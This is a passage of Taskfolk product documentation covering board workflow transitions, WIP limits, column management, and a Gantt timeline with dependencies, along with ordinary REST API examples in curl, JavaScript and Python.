we built in the UI, PATCH the status with the ids of In Progress and Done. The server drops the status's own id and any id that is not a live column in the project, and the list caps at 24 targets. Send `null` to reset to allow-all, or `[]` for a terminal column. ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses/" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "allowed_transitions": ["", ""] }' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses/" + inReviewId, { method: "PATCH", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ allowed_transitions: [inProgressId, doneId], }), } ); ``` ```python import requests requests.patch( f"https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses/{in_review_id}", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"allowed_transitions": [in_progress_id, done_id]}, ) ``` The same PATCH body also takes `name`, `name_ar`, `color`, `category`, and `wip_limit`, and creating a column is a POST to the collection with `{ name, color, category }`. The category-change warning from earlier applies with full force here: a PATCH that changes `category` re-stamps every issue in that column, exactly like the UI. When a script then tries an illegal move, the dedicated transition endpoint (`POST .../issues/WEB-12/transition`) and the plain issue PATCH both answer with the same validation envelope: ```json { "error": { "code": "validation", "message": "Workflow blocks this transition: \"In Review\" cannot move to \"Backlog\".", "details": { "code": "workflow_transition_blocked", "from": "In Review", "to": "Backlog" } } } ``` That `details.code` is the stable thing to branch on in agent code; the message is for humans. If you are new to the key setup and auth model, [how to use the REST API](/docs/how-to-use-the-rest-api) covers minting a scoped key and confirming it works. ## WIP limits: what the field really does, and does not Time for an honest section, because this is the one place the UI can mislead you. The Workflow card has a WIP limit field on each status: an integer from 1 to 999, or blank for None. You can set it, it saves, it is stored on the column and exposed through the v1 API (`wip_limit` in the payloads above). All true. Here is what is also true: it is not enforced. Setting a WIP limit here does not stop anyone from piling a fourteenth ticket into a column you capped at ten. No write path checks it. It is stored data, nothing more, at least for now. It is also not what drives the board's WIP badge. The board has its own separate WIP display: an "n / limit" badge on the column header and a red over-limit border. But that badge reads a hardcoded per-category default, not the number you typed. Those defaults are in_progress = 4, in_review = 3, and everything else uncapped. And the badge only shows up at all when you turn on the client-only WIP view with `?wip=1` on the board URL. It is off by default. ![The board with the WIP view enabled, showing a column count pill rendered as an n/limit warning chip against the hardcoded per-category default, and the over-limit column border tinted red. The badge is advisory only; nothing blocks the extra card.](/images/blog/how-to-use-a-kanban-board-wip-density.webp) Even with the badge showing, it is advisory. Going over the limit just recolours the header red. It never blocks a drop, never blocks a write, never stops anyone from adding one more card. A nudge, not a gate. So set the WIP limit field if you want the number recorded and available over the API, but do not expect it to cap anyone. If you need a hard WIP cap that genuinely refuses work, Taskfolk does not have one today. Plan your process around a visible nudge, not a wall. ## Deleting a status, and the limits to keep in mind Deleting a column is destructive, and not in the way you might assume. It does not tuck the tickets somewhere safe. In one transaction it soft-deletes the column and soft-deletes every non-deleted issue sitting in it. Soft-deleted means recoverable. Those issues go through the normal restore path and stay recoverable for 30 days, same as any other soft-deleted issue. But they are gone from the board immediately, and they are not relocated to another column. If you want to keep the tickets and only drop the column, move the tickets out first, then delete the empty column. Taskfolk warns you. When the column has issues, the confirm dialog says: "Issues in this column will be soft-deleted. They are recoverable for 30 days." After deletion you see a message like "Column deleted. N issues archived." And one column you can never delete: the last one. A board needs at least one status, so the final column refuses to go ("A board needs at least one status."). To close, here are the honest boundaries of the whole feature, so you go in with clear expectations: - **12 live statuses max** per project. Budget them. - **7 fixed categories.** You name and colour freely; you cannot invent a category. - **Transition rules are a simple per-FROM allowlist.** Each column controls its own outgoing moves, capped at 24 targets per status. There is no per-role, per-type, or per-transition condition system, no validators, none of Jira's full workflow-engine machinery. - **Names cap at 80 characters; colours are 6-digit hex.** - **Delete is destructive to a column's issues**, recoverable for 30 days. That is the real shape of it. Columns you can bend to your process, transition rules that genuinely enforce the path everywhere it counts, and a short list of limits that are better known now than discovered mid-sprint. If you have been running one overloaded In Progress column and wondering why your metrics never add up, this is the fix: model the columns your team actually uses, then lock the moves that were corrupting the data. Set up your first workflow on a real project and give it a sprint. You will see it in your cycle-time chart the following week. --- # Gantt chart with dependencies URL: https://taskfolk.ai/docs/gantt-chart-with-dependencies Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: views, project planning, Taskfolk Plan on Taskfolk's Timeline: read the Gantt, drag bars to reschedule, draw Blocks/Relates/Duplicates dependencies, schedule undated issues, and the real limits. You have start dates and due dates sitting on your issues, but no way to see the shape of the plan. Which task is waiting on which. Where the crunch lands. Who is buried under three overlapping bars in the same week. Dates in a field are invisible until you plot them against time. That is the job of the Timeline tab: it turns every dated issue in a project into a gantt chart with dependencies, so you can see the plan and reschedule it by hand. This walkthrough covers the whole surface. How to read the chart, how to drag work around, how to draw the arrows between tasks, and, just as usefully, what the Gantt deliberately does not do so you never build a plan around a feature that isn't there. ## What the Gantt timeline actually is Open any project and click the **Timeline** tab. The route is `/w/[ws]/p/[project]/timeline`, sitting right next to Board, Backlog, and List. What loads is a two-part layout. On the left is a fixed label column headed **Issue**: one row per issue, each showing the type badge, the KEY-NUMBER, and the title. On the right is a scrollable time canvas. Every issue that has a start date, a due date, or both becomes a horizontal bar, positioned by date across a day grid with lighter week gridlines. A yellow vertical marker shows today, and the canvas auto-scrolls so today lands in view the moment the page loads. You are not hunting for the current week. It finds you. ![Taskfolk Timeline tab for the WEB project: a left Issue label column with type badges and keys, a right canvas of status-colored bars grouped under their epics, a yellow today marker, week gridlines, and the Weeks/Months/Quarters zoom control top-left. Establishes what the Gantt shows and how it's laid out.](/images/blog/gantt-chart-with-dependencies-gantt-overview.webp) One rule governs everything below: only dated issues draw bars. An issue with no start and no due date has nothing to position, so it does not render a bar. It still appears (more on scheduling those shortly), but the drawn Gantt is a picture of work that already lives somewhere in time. That constraint is the whole logic of a gantt chart with dependencies, and it is where the rest of this tutorial happens. ## Reading the timeline: epics, bars, and progress The rows aren't in random order. Epics come first, each with its child issues indented underneath, so the plan reads like an outline: the big containers, then the work inside them. Issues with no parent (orphans) sit at the bottom. If your project is structured into epics, the timeline mirrors that structure with no extra effort from you. Bars are colored by status, so a glance down the canvas tells you what stage each piece of work is in. Epic bars are the exception: they take the epic type color instead, which makes the container rows easy to pick out from the tasks nested under them. Inside each bar there's a progress fill. It grows from the chronological-left edge in proportion to the issue's completion percentage, so a task marked 60 percent done shows a bar filled 60 percent of the way. Be precise about what that fill reads: - It is the manual completion field on the issue, set by a person in the Time card. - It is not computed from subtask counts. - It is not inferred from which status column the issue sits in. If you never touch the completion field, the fill stays empty even on work that is obviously moving. It's a number you set, not one the system guesses. ![The Time card on an issue detail page, where the completion percentage lives alongside estimate and time spent. This manual field is what drives the progress fill inside each timeline bar.](/images/blog/how-to-track-time-on-issues-time-card.webp) Take the WEB project. The "Timeline + Summary tab" ticket sits **In Progress**, so its bar carries the In Progress color, and because someone has been marking it along the way it shows a partial fill. Assignee avatars ride on the right end of each bar, so you can see who owns what without opening a thing. If an issue is assigned to an AI agent, its avatar picks up a small spark badge and an "(AI agent)" note in the tooltip, so human and agent work read differently at a glance. ## Rescheduling work by dragging bars Here's where the timeline earns its keep. Grab a bar and drag it left or right. Both dates move together, the duration stays fixed, and everything snaps to whole days (you can't land a task on half a Tuesday). The moment you drop it, the change saves optimistically through the same update path the rest of the app uses, and a small pulsing "Saving…" dot appears on the bar while it's in flight. If the save fails for any reason, the bar snaps back to where it was and a toast tells you it reverted. You never end up looking at one thing while the database holds another. ```mermaid flowchart LR A[Drag bar] --> B[Drop on a day] B --> C[Optimistic save] C -->|success| D[Bar stays put] C -->|failure| E["Bar snaps back, toast explains"] ``` To change just one date, hover a bar and grab one of the edge handles that appear. The leading (start) edge resizes the start date; the trailing (due) edge resizes the due date. This is how you stretch or compress a task without moving it. One guardrail: the due edge can never collapse in front of the start day, so you can't accidentally invert a task into a negative duration. What good looks like here is small and specific. A teammate has a brutal week coming and one of your bars overlaps it. Drag that bar two days right so it clears their crunch, watch the "Saving…" dot pulse and settle, done. No dialog, no date fields, no context switch. The dates the drag writes are plain fields on the issue, so a script can reschedule too. The public API's issue update accepts `start_at` and `due_at`, with a bare `YYYY-MM-DD` treated as midnight UTC: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"start_at": "2026-07-20", "due_at": "2026-07-24"}' ``` If you want to edit the work rather than reschedule it, click a bar without dragging. An inline popover opens for that issue's status, priority, and assignee, so you can reassign or bump priority right from the plan. The title and key link out to the full issue detail page when you need the rest. One thing to know before you start dragging: it is gated by permission. Only people who can edit the issue (its reporter, its assignee, or anyone with the `issue.edit_any` permission) can drag, resize, schedule, or draw links. Everyone else gets a fully readable Gantt that simply doesn't respond to dragging. If your bars won't move, that is almost always why, and it's working as intended. ## How to reschedule tasks with the keyboard Dragging is fine with a mouse, but you don't always want to reach for one. Every bar is focusable, and once a bar has focus the arrow keys move it. | Keys | What happens | |---|---| | Left | Whole bar moves one day earlier | | Right | Whole bar moves one day later | | Shift + Left | Due edge pulls in by one day | | Shift + Right | Due edge pushes out by one day | | Escape | Closes the dependency kind picker | Shift plus an arrow is the keyboard equivalent of dragging the trailing (due) end handle. It's precise in a way dragging isn't: one key, exactly one day, no overshoot. Now the honest caveat, because it will save you frustration. There is no keyboard way to create a dependency on the timeline. The link handle you use to draw an arrow is pointer-only and hidden from assistive tech, so keyboard and screen-reader users can't start a link from here. If you need to add or edit dependencies without a mouse, do it from the issue detail page in the Linked Issues panel instead. That path is fully keyboard-navigable, and the link it makes shows up on the timeline just the same. ## Scheduling issues that have no dates yet Undated issues never draw bars, but the timeline doesn't pretend they don't exist. Each one shows up as a row with a **No dates** pill on the canvas, and when you hover its label a **+ Schedule** affordance appears. Click it and the issue gets default dates: today through today plus five days. From there you drag or resize the fresh bar into the real window you have in mind. The flow is deliberately two-step. Scheduling drops the task onto the plan with a sensible starter shape, and then you refine it. In the WEB project this is the natural move for a Backlog ticket you've finally decided to commit to a date. It was sitting there dateless, you hit **+ Schedule**, and now it's a real bar you can position against everything else. There's a capacity ceiling worth knowing, because a busy project can carry a lot of issues. The timeline loads up to 1000 dated issues (your full scheduled plan) plus a bounded tail of up to 50 undated ones. Past that, you get a "showing first N of M" pill that links straight to the list view, where there is no such cap. The timeline stays fast and readable, and nothing quietly disappears on you. ## How to add dependencies on a gantt chart This is the part people come to a Gantt for. Dependencies are the arrows that say "this before that," and here's how you draw one. Hover a bar and look just past its trailing (due) edge for a small round link handle. Drag from that handle across to another issue's row and let go. On drop, a **Link as** picker opens with three choices: **Blocks**, **Relates to**, **Duplicates**. Pick one and the arrow appears. ![Two task bars on the Gantt linked by a dependency arrow, so the dependent bar cannot start until the first finishes](/images/blog/gantt-chart-with-dependencies-dependency-arrow.webp) The arrows are elbow (right-angled) connectors, not straight diagonals, so they route cleanly between rows instead of cutting across bars. Each kind has its own treatment: **Blocks** uses the bug tone, **Relates to** uses the subtask tone and renders dashed, **Duplicates** uses the epic tone. An arrowhead marks the target end, and a small persistent badge sits at the arrow's midpoint labeled **B**, **R**, or **D** so you can read the relationship type without memorizing the color code. Hover an arrow and it thickens to yellow, your signal that it's live and editable. A concrete case from WEB: the "API contract" ticket **blocks** the "Timeline + Summary tab" ticket, because you can't build the tab against a contract that isn't finalized. Drag from API contract's link handle to the Timeline + Summary row, choose **Blocks**, and the elbow arrow with its **B** badge makes that ordering visible to everyone looking at the plan. There's a cycle guard built in. If you try to create a **blocks** link whose reverse already exists (A blocks B, and now you try B blocks A), it is rejected on the client and on the server, with a message that it would create a cycle. You can't tie the plan into a knot where two tasks each block the other. That check runs before anything saves, so you're told immediately rather than after the fact. ```mermaid flowchart TD A[Drag from link handle] --> B[Drop on target row] B --> C{Pick kind} C -->|Blocks| D{Reverse blocks link exists} C -->|Relates to| E[Arrow saved] C -->|Duplicates| E D -->|no| E D -->|yes| F[Rejected as a cycle] ``` The same links are plain API resources, so an agent or a script can record an ordering the moment it discovers one. `POST` to the issue's `links` collection with the `issues:write` scope; `direction: "out"` means the anchor issue blocks the target: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-8/links" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"kind": "blocks", "direction": "out", "target_key": "WEB-12"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-8/links", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ kind: "blocks", direction: "out", target_key: "WEB-12" }), }, ); const link = await res.json(); ``` ```python import requests r = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-8/links", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"kind": "blocks", "direction": "out", "target_key": "WEB-12"}, ) r.raise_for_status() ``` The server enforces the same rules the UI does: a duplicate link comes back as a conflict, and so does a reverse **blocks** link that would create a cycle. The arrow drawn by hand and the one created over the API are the same row in the same table. ## Editing and removing a dependency Drawing the arrow is half of it. You'll also want to change or remove links as the plan shifts. Click (or right-click) an arrow, or its midpoint **B/R/D** badge, and a **Change kind** picker opens. From there you switch the relationship to a different kind, or choose **Remove dependency** to delete it. Same three kinds, same picker as when you created the link. One honest note about switching kinds. Under the hood, changing a dependency's type is a delete-then-recreate, not a single in-place edit. You'll see a brief optimistic swap as the old link is removed and the new one drawn. In practice it feels instant, but if you're ever debugging why a link's history reads as a remove followed by an add, that's why. It isn't a bug; it's how the change is applied. Removing a link is forgiving. When you choose **Remove dependency**, an inline "Dependency removed." bar appears with an **Undo** action. It hangs around for about six seconds and then dismisses itself, so a misclick is a one-tap recovery rather than a redraw-the-arrow chore. If you meant it, ignore the bar and it clears on its own. ## Zoom, filters, and sprint bands A plan that spans a quarter doesn't read well at the same density as a plan that spans two weeks, so the timeline gives you a zoom control in the top-left with three levels: **Weeks**, **Months**, **Quarters**. Each one changes the pixels-per-day density and the header columns. At the Quarters level the header reads "Q{q} {year}" (like "Q3 2026"), so you stay oriented to the right span of time whichever zoom you're in. Zoom out to see the whole roadmap shape; zoom in to line up work day by day. The timeline respects the same filtering you already use on the Board. Type, priority, status, label, and assignee controls all apply here, and so do Saved Views, with the filter state living in the URL so a filtered timeline is a link you can share. ![Filter controls in Taskfolk with type, priority, status, label, and assignee applied to an issue list. The timeline reads the same filters and saved views the board and list do, and keeps them in the URL.](/images/blog/how-to-filter-and-sort-issues-overview.webp) One nice touch: when a filter hides one end of a dependency, the arrow doesn't just vanish into nowhere. It collapses into a per-row "hidden dependencies" stub badge, so you still know a link exists even though its other end is filtered out of view. The plan never silently drops information; it tells you something's been tucked away. Sprints show up too, as context rather than as bars you can drag. Active and planned sprints that have both a start and an end date render as subtle full-height background bands behind the rows, labeled with the sprint name. Active sprints read a little stronger, in cyan, so the sprint you're in now stands out from the ones coming up. Completed sprints don't appear at all; they're history, not plan. If you want the full story on how sprints work, that's its own topic, covered in [running sprints without the ceremony](/blog/run-sprints-without-the-ceremony). Note that the zoom control is a desktop feature. It's hidden on small screens, for a reason that lands in the next section. ## What the Gantt does not do Every honest tool has edges, and knowing them keeps you from planning around something that isn't there. **No milestone markers on the canvas.** Milestones exist in Taskfolk as a data concept: an issue can be assigned a milestone on its detail page. But the timeline does not draw milestone diamonds, markers, or vertical lines. The only overlays behind the bars are sprint bands. If you're expecting a classic Gantt milestone diamond pinned to the today axis, it isn't here, and you shouldn't schedule a review around one appearing. **Dependencies are visual and relational, not scheduling constraints.** This is the big one. The arrows record that A blocks B and draw the relationship, but they move nothing for you. Drag a bar that other tasks depend on and the dependent bars stay exactly where they are. There is no finish-to-start or start-to-start engine, no automatic cascade that pushes downstream work when upstream slips. The dependency tells you and your team about the ordering; rescheduling is still a human decision you make by dragging. If you slip the API contract, you decide whether the Timeline tab moves with it. **No column reordering.** Rearranging columns is a Board feature. The timeline's rows are ordered by structure (epics, children, orphans), and you don't drag them around. **No jump-to-date control.** The today marker and the auto-scroll to today are fixed behaviors. There's no date picker to leap the canvas to an arbitrary month; you scroll, and zoom out if you need to cover more ground faster. **Mobile is a different view entirely.** Below the desktop breakpoint the Gantt is replaced by an agenda-style list split into **Scheduled** and **Needs dates** sections, each card offering **Schedule** or **Edit**. It's a genuinely useful way to read and adjust the plan on a phone, but drag-to-move and dependency-drawing are desktop-only. That's why the zoom control disappears on small screens: there's no canvas to zoom. Draw your dependencies at a desk. ## How this fits the rest of your workflow The timeline is one lens on a project, not the whole thing, and it's strongest when you use it for what it's actually good at: the time dimension and the relationships between work. Day to day, your team lives on the [kanban board](/docs/how-to-use-a-kanban-board), moving cards through columns as work flows. When you're deciding what comes next, that's the backlog and [sprints](/blog/run-sprints-without-the-ceremony). When you want to understand how the project is shaped, which epics contain what and how it all hangs together, the [mind map](/blog/see-your-whole-project-as-a-mind-map) shows structure. The timeline is where all of that meets a calendar. It answers "when," and "what's waiting on what," in a way none of the other views do. ![The kanban board for the same project: columns by status, cards moving through the flow. The board is the day-to-day surface; the timeline is the same issues plotted against a calendar.](/images/blog/how-to-use-a-kanban-board-overview.webp) If you've ever tried to force this out of a heavier tool, it's worth seeing how the two compare in [Taskfolk vs Jira](/vs/jira). Short version: dates you already keep on your issues become a plan you can see and drag, with no separate planning module to learn. Open the **Timeline** tab on a real project and drag one bar. That's the fastest way to feel what it does. --- # How to add board columns URL: https://taskfolk.ai/docs/how-to-add-board-columns Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: kanban, how-to, Taskfolk Add, rename, reorder, and delete kanban board columns in Taskfolk: statuses, categories, colours, permissions, and the delete gotchas, with the limits named. Your board has seven columns and one of them is quietly doing three jobs. Backlog, To Do, In Progress, In Review, Done, Failed, Cancelled. Somewhere in that lineup a ticket like "Timeline + Summary tab" is parked in In Review while it's actually blocked on a design decision that landed a week ago. It isn't in review. Nothing is reviewing it. It's stuck, and your board is lying to you about it. The fix is to add a column to a kanban board that matches the state your work is really in. In Taskfolk you do that from the board itself in about ten seconds. This walkthrough covers the whole lifecycle: adding a column, naming it, giving it a category and a colour, then renaming, recolouring, recategorising, reordering, and eventually deleting it without losing the issues inside. I'll be honest about the limits too, because a couple of them will bite you if you don't know they're there. ## Why your board needs a column that doesn't exist yet The default WEB board ships with a sensible five: Backlog, To Do, In Progress, In Review, Done. For a small project that flow is plenty. You pull from Backlog, commit to To Do, do the work, review it, ship. Clean. ![The demo WEB board with its Backlog, To Do, In Progress, and In Review columns and 38 issues in flight](/images/blog/how-to-use-a-kanban-board-overview.webp) Then reality shows up. A ticket gets blocked waiting on someone else. Another is done from the developer's side but sitting in a QA queue nobody looks at until Friday. If your only "not done yet" columns are In Progress and In Review, both of those tickets get shoved into In Review because there's nowhere better, and now In Review means "in review, or blocked, or waiting for QA, or honestly who knows." A column that means four things means nothing. You can't glance at the board and read the shape of the work anymore, which is the whole reason you keep a board. So you carve out the status you actually need. A column in Taskfolk is a named status that maps to a category. The name is what you and your team read: "Blocked", "QA", "Ready to deploy". The category is the semantic backbone underneath, the thing that tells Taskfolk whether an issue in that column counts as open or done in your reports and in the public API. That split is the entire model, and getting it right is the difference between a board that looks organised and one that reports honest numbers. By the end of this you'll be able to add columns, edit them in place, drag them into order, and delete the ones you don't need, both from the board and from Project settings. If you're new to boards and want the ground-floor tour first, read [how to use a kanban board](/docs/how-to-use-a-kanban-board), then come back. ## Who can add a column (and who can't) One thing up front that will save you a confused five minutes: adding and editing columns is permission-gated. The "+ Add status" lane at the right end of the board and the kebab menu on each column header only appear for members who have `project.edit_settings`, which in Taskfolk's permission matrix means owners and admins. If you're a viewer or an ordinary member, you'll see the board and you can drag cards around, but the dashed lane won't be there and the column headers won't have a three-dots menu. Nothing is broken. That's the permission model working. If you need to add a column and the controls aren't showing, the answer isn't to keep hunting, it's to ask an owner or admin to make the change or bump your role. Worth saying plainly, because people burn real time assuming the UI failed to load when they simply don't have the key. ## How to add a column to a kanban board Here's the core move. Open your board (for the demo project that's `/w/taskfolk/p/web/board`), look at the far right end of the columns, and you'll see a dashed lane labelled "+ Add status". That lane is the entry point. There's no drag-to-create and no settings detour for the basic case. The board is where you add a column to a kanban board most of the time. ![The Add status popover open on the board, with fields for the column name, its category (which drives open and done behavior in reports), and its color](/images/blog/how-to-add-board-columns-add-status.webp) Click it and a popover opens with three things: 1. A **Status name** field. Type the name, say "Blocked" for the column we're building. The field trims whitespace and caps at 80 characters, so you can't paste a paragraph in by accident. 2. A **Category** select. More on this next; it matters more than anything else here. 3. A row of **colour swatches**. Then click the "Add status" button, or just press Enter while your cursor is still in the name field. Both submit. The new column appends at the right-most position. Under the hood it gets a LexoRank at the end of the order, which is Taskfolk's way of keeping columns sortable without renumbering everything each time you move one. The button briefly reads "Adding…" while it saves, the board refreshes, and you get a small confirmation: Added "Blocked". Your column is live and empty, ready for cards. Two defaults to know so nothing surprises you: the Add popover starts with the category set to In Progress and the colour set to `#B47CFF`, a purple. If Blocked-as-In-Progress and purple happen to suit, you can add the column without touching either. Usually you'll want to change the category, so read on. ## Picking the right category (this is the part people get wrong) The category is the one field in that popover that changes how Taskfolk behaves, and it's the one people skip because the name field feels like the "real" input. It isn't. The name is for humans. The category is for the system. Category is not free text. It's a fixed set of exactly seven values. You can create as many named columns as you like (up to a limit we'll get to), but every one maps to one of those seven. The category is the bucket. The column name is the label you stick on the bucket. Ten differently labelled buckets can all be the same kind of bucket underneath. | Category | Terminal | What it means for an issue | |---|---|---| | Backlog | No | Counts as open | | To Do | No | Counts as open | | In Progress | No | Counts as open | | In Review | No | Counts as open | | Done | Yes | `resolved_at` is stamped | | Failed | Yes | `resolved_at` is stamped | | Cancelled | Yes | `resolved_at` is stamped | Why it matters: the category drives open versus done everywhere else in the product. Your reports count open and completed work by category, not by column name. The public API reports an issue's status by category. And moving an issue into a terminal category (Done, Failed, or Cancelled) stamps its `resolved_at` timestamp, while moving it back out clears that timestamp. So the category is literally what decides whether a ticket counts as resolved. ```mermaid flowchart LR subgraph cols[Named columns] B[Blocked] Q[QA queue] S[Shipped] end subgraph cats[Category] IP[In Progress] IR[In Review] D[Done] end B --> IP Q --> IR S --> D IP --> O[Open in reports and API] IR --> O D --> R[Resolved and stamped] ``` Here's the worked example. Your Blocked column holds work that is stuck but nowhere near finished. If you leave the category on some terminal value, every blocked ticket counts as resolved in your reports, your burndown lies, and your completion numbers turn into fiction. A blocked ticket is open work, so Blocked maps to In Progress. Same logic for a QA or "Waiting on review" column: still open, so In Review or In Progress, never Done. The rule of thumb: if a human would say "no, that's not finished," the category has to be a non-terminal one. Taskfolk nudges you here. Right under the category select, a hint reads "Category controls open/done behaviour in reports." Read it. That sentence is the reason the field exists. ## Choosing a colour that reads at a glance Colour is the easy part, and unlike category it's purely cosmetic. It changes no behaviour. A red column and a green column with the same category behave identically. Colour exists so your eye can find things fast. The popover gives you eight preset swatches: | Swatch | Hex | |---|---| | Grey | `#6B6F7A` | | Light grey | `#A4A8B2` | | Brand gold | `#FFD60A` | | Cyan | `#4FE8E5` | | Green | `#6AF7A8` | | Orange | `#FF8A3D` | | Pink | `#FF3B6B` | | Purple | `#B47CFF` | If none fit, there's a "Custom colour" native picker where you can dial in any hex. The colour is validated on the server as a six-digit hex in the form `#RRGGBB`. Feed it something that isn't (a CSS `var()` string, a three-digit shorthand, garbage) and it's rejected with "Enter a 6-digit hex colour." Stick to real hex values and you'll never see that message. Practical advice from actually using this: spend your loud colours on exception columns. Blocked, Failed, anything that means "a human needs to look at this," give it a warm alarm colour like pink or orange so it jumps off the board. Keep your normal-flow columns in muted greys and cool tones so the board reads calm until something goes wrong. If everything is bright, nothing is. Colour is a spotlight. Point it at the problems. ## Rename, recolour, and recategorise an existing column Columns aren't set in stone. Every column has a kebab on its header, the vertical three-dots button (its accessible label is "Manage {name}", so for ours it's "Manage Blocked"). Click it and you get a popover that's essentially the same fields as the Add popover, plus reorder and delete controls, but now operating on a live column full of issues. **Renaming is inline.** Edit the name field and it saves when you blur out of it or press Enter, as long as the name actually changed and isn't empty. So "Blocked" becomes "Blocked / waiting" with one edit and a click away. The `updateStatus` action handles it and every issue in the column stays put. Renaming never touches the tickets. **Recolouring is instant.** Click a different swatch or open Custom colour and the change saves immediately. No confirmation step. **Recategorising is where you slow down**, because it does more than the other two. Change the Category select and it saves right away, but it also re-stamps every issue currently in that column so the category stays in sync. Switch a column from In Progress to Done and every ticket in it gets its `resolved_at` set, because they've all just crossed into a terminal category. Switch it back and those timestamps clear. This is correct behaviour and it's what you want (the point is that category and issues never drift apart), but flipping a busy column's category is not cosmetic. It resolves or reopens everything inside it in one move. The honest gotcha: there's no Save button in this popover. Nothing to click to commit. The name saves on blur or Enter, the colour and category save the instant you change them. If you're used to tools that make you confirm, unlearn that here. Make the change, it's saved. And if you try to rename a column to a name another column already uses, it's rejected case-insensitively with "A status with that name already exists," so you can't end up with two "Done" columns and a confused board. ## Reorder columns: drag the header or use Move left / Move right Your columns should read left to right like a pipeline, matching the real direction work flows. When they don't, fix the order two ways. The precise way is in the kebab popover: "Move left" and "Move right" buttons. They call `reorderStatus` and re-rank the column via LexoRank, and they're disabled at the ends (you can't move the left-most column further left). Good for nudging a column one slot over when you know exactly where it goes. The fast way is to grab the column header and drag it left or right on the board. The header itself is the drag handle. It's optimistic (the column moves under your cursor immediately) and persists through the same `reorderStatus` action once you drop, so the two methods are one operation with different ergonomics. Header drag is edit_settings-only, same as everything else here. One distinction that trips people up: dragging a column header reorders columns. Dragging a card moves that issue between columns. Different gestures on different targets, and Taskfolk keeps them apart deliberately, so grabbing a header will never accidentally fling a ticket somewhere. If you want your new Blocked column to sit between In Progress and In Review because that's where blocked work lives in your flow, drag its header there. The board should tell the story of your process from left to right. ## Deleting a column without wrecking your data This is the destructive one, so I'll be blunt about what it does. In the kebab popover there's a red "Delete status" button. Click it and you get a confirm dialog titled Delete "{name}"? with a warning: "Issues in this column will be soft-deleted. They are recoverable for 30 days." ```mermaid flowchart TD A[Click Delete status] --> B{Issues in the column?} B -->|No| C[Column archived] B -->|Yes| D[Confirm dialog warns you] D --> E[Column and its issues soft deleted together] E --> F[Recoverable for 30 days] F --> G[After 30 days the recovery door closes] ``` Read that warning, because deleting a column is not a tidy removal that shuffles issues elsewhere. On confirm, Taskfolk soft-deletes the column and soft-deletes every non-deleted issue in it, in a single transaction. The tickets don't move to Backlog. They don't get reassigned. They're archived along with the column. The toast tells you exactly how many: "Column deleted. {count} issues archived." If the column was empty you'll see "Column deleted." instead, and if you open the kebab on an empty column the dialog notes "This column has no issues." so you know deleting it is safe. So the mental model for delete is "archive this column and everything in it," not "remove this column." If you've got live work in a column you want to retire, move those cards out first, then delete the empty column. That's the safe sequence. Two limits protect you. A board must always keep at least one status, so deleting the last remaining column is refused with "A board needs at least one status." And the soft-delete is recoverable: those archived issues sit in the normal 30-day restore grace period, so if you delete a column by mistake you have a month to get the issues back through the usual restore path. After that window the storage-reclaim sweep frees their attachments and the recovery door closes. Thirty days is generous, but it isn't forever, so if you nuked something important, restore it sooner rather than later. ## Managing columns from Project settings instead Everything above happens on the board, in popovers, one column at a time. Sometimes you want the opposite: every column laid out in a table so you can see and edit the whole set at once. That lives in Project settings under the Board statuses tab, at `settings?tab=statuses`. ![The Board statuses tab in Project settings, with every column as an editable row: colour swatches, category select, live issue counts, and Delete buttons](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) The tab has a create row at the top (name field, category select, colour, and an "Add status" button) that does exactly what the board's dashed lane does. Below it, every column is a row, and each row gives you: - up/down reorder chevrons (Move up / Move down) - a colour swatch - an inline-editable name - a category select - a live count of the issues in that column, linking straight to the board filtered to that status - a Delete button It's not a separate system. The settings tab and the board call the same server actions, so behaviour is identical down to the confirmations and the auto-save (inline edits here save on blur/Enter, immediate for colour and category, no Save button). Pick the surface that fits the moment. The board when you're adding one column in the flow of work, the settings table when you're reorganising the whole board or auditing which columns are actually carrying issues. The tab even repeats the honest footnotes: "A status's category controls its open/done behaviour in reports and the API" and a reminder that deleting a status also deletes its issues (recoverable for 30 days). Same rules, stated plainly, in the place where you're most likely to do bulk edits. One more detail that ties columns back to daily work: on the board, an empty column shows a "+ New task" affordance, and creating an issue that way drops it directly into that column, carrying its `status_id`. So a new column isn't just somewhere to drag things into later. You can seed it with fresh work on the spot. ## Adding a column from the API Columns are also a public API resource, which matters once scripts or agents manage your boards. Creating one is a single POST with an API key that has the `projects:write` scope (listing needs `projects:read` on the same path with GET): ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"name": "Blocked", "color": "#FF8A3D", "category": "in_progress"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ name: "Blocked", color: "#FF8A3D", category: "in_progress", }), }, ); const { data } = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"name": "Blocked", "color": "#FF8A3D", "category": "in_progress"}, ) print(res.json()["data"]["id"]) ``` A successful create returns `201` with the new status: ```json { "data": { "id": "0198a3f2-7c1e-7d40-b7aa-2f60d1c4e9b3", "name": "Blocked", "name_ar": null, "color": 